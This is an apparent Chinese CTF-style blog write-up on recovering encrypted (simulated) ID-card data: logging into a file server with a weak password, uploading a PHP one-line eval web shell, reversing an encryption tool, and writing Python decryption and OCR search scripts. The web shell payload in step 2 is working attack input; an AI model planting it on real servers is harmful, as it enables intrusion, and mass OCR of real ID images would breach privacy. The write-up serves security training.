【问题解决】破译黑客加密:场景模拟还原数据的完整过程

524 阅读4分钟

严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。

背景

请选⼿获取当前的系统的权限后分析⽂件共享服务器,还原被⿊客加密的客⼾实名信息数据,并将还原数据中⽣⽇为:11⽉2号,姓名为:严旭的身份证号码作为答案提交。

  1. 通过弱口令登录到文件共享服务器的后台。
  2. 上传一句话木马 <?php @eval($_POST[2]);?> 获取到当前的系统权限。
  3. 发现在 C:/Users/Administrator/Downloads/ 目录下存在 FileEnc.exe 程序,猜测是黑客用来加密数据的程序。
  4. 同时在 C:/phpstudy_pro/WWW/files/real name information/ 目录下发现被加密的文件。

d0.png

逆向加密程序

浅浅尝试一下这个加密程序,发现 -E 可以进行加密,-D 可以进行解密。

e1.png

以加密 hacker.jpg 文件为例,在实现 .\FileEnc.exe -E -I .\in\ -O .\out\ 指令后,发现 in 目录下多出了两个加密过程文件:

hacker.jpg
hacker.jpg.tmp1
hacker.jpg.tmp2

同时,out 目录下会生成一个加密后的文件 hacker.jpg.02,但经过对比发现,hacker.jpg.tmp2hacker.jpg.02 是同一个文件。

e0.png

但当我们通过 -D 指令实现解密时,发现被没有对文件进行解密,话不多说,直接根据已知的信息找到两个解密函数:

e5.png

e4.png

发现它们并没有实现解密,因此接下来我们需要根据加密函数逆推解密。

先来分析加密函数 byte_add_num 函数,它的作用就是在原先的数值基础上再加114:

e3.png

再分析 enExchangeBte 函数,将文件二进制流中的两两字节进行互换,即 ab 换成 ba,同时对于奇数长度的文件,会对最后一个字节进行特殊处理:

e2.png

最终编写解密脚本:

import os

def decode_img(input_dir, output_dir):
    if not os.path.exists(output_dir):
        os.makedirs(output_dir)

    for name in os.listdir(input_dir):
        with open(f"{input_dir}/{name}", "rb") as f:
            file = f.read()

        temp1 = [(byte - 114) % 256 for byte in file]
        if len(temp1) % 2 == 0:
            temp1[::2], temp1[1::2] = temp1[1::2], temp1[::2]
        else:
            temp1[0:-1:2], temp1[1:-1:2] = temp1[1:-1:2], temp1[0:-1:2]

        with open(f"{output_dir}/{name[:-3]}", "wb") as f:
            f.write(bytearray(temp1))

运行结果:

d1.png

虽然我们成功解密了数据,但是还有一个问题,这里有四千个身份证信息图片,如果我们用眼睛一个一个去筛查,那直接老眼昏花,因此需要编写一个 OCR 脚本。

OCR 身份信息

由于需要识别的信息比较常规,因此使用 tesseract 足矣,编写脚步如下所示:

def process_image(file, bar):
    try:
        image = Image.open(file).convert("L")

        enhancer = ImageEnhance.Contrast(image)
        image = enhancer.enhance(2)

        image = image.point(lambda x: 0 if x < 140 else 255)

        text = pytesseract.image_to_string(image, lang='chi_sim')

        if "严旭" in text:
            tqdm.write(f"\nFile: {os.path.basename(file)}")
            tqdm.write(text)

        image.close()

    except Exception as e:
        tqdm.write(f"Error processing {file}: {e}")

    finally:
        bar.update(1)

上述代码主要是将图片转为灰度图,然后增强对比度,再进行二值化处理,最后使用 tesseract 识别图中的信息。

这里由于目标识别数量较多,因此使用 tqdm 来实现进度条统计,同时,可以显著加速任务执行。使用 ThreadPoolExecutor 实现并发处理,可以显著加速任务执行。

代码如下所示:

if __name__ == '__main__':
    decode_dir = "decode"
    files = [os.path.join(decode_dir, file) for file in os.listdir(decode_dir)]

    with tqdm(total=len(files), desc="Processing images") as progress_bar:
        with ThreadPoolExecutor() as executor:
            for file in files:
                executor.submit(process_image, file, progress_bar)

运行结果:

r1.png

最终根据图片 ID 找到这张身份证(注意识别身份信息为模拟数据):

r2.png

后记

以上就是 破译黑客加密:场景模拟还原数据的完整过程 的所有内容了,希望本篇博文对大家有所帮助!欢迎大家持续关注我的博客,一起分享学习和成长的乐趣!✨

严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。

📝 上篇精讲:记一次线上安全测试中误用父类属性导致数据污染的解决方案

💖 我是 𝓼𝓲𝓭𝓲𝓸𝓽,期待你的关注,创作不易,请多多支持;

👍 公众号:sidiot的技术驿站

🔥 系列专栏:问题解决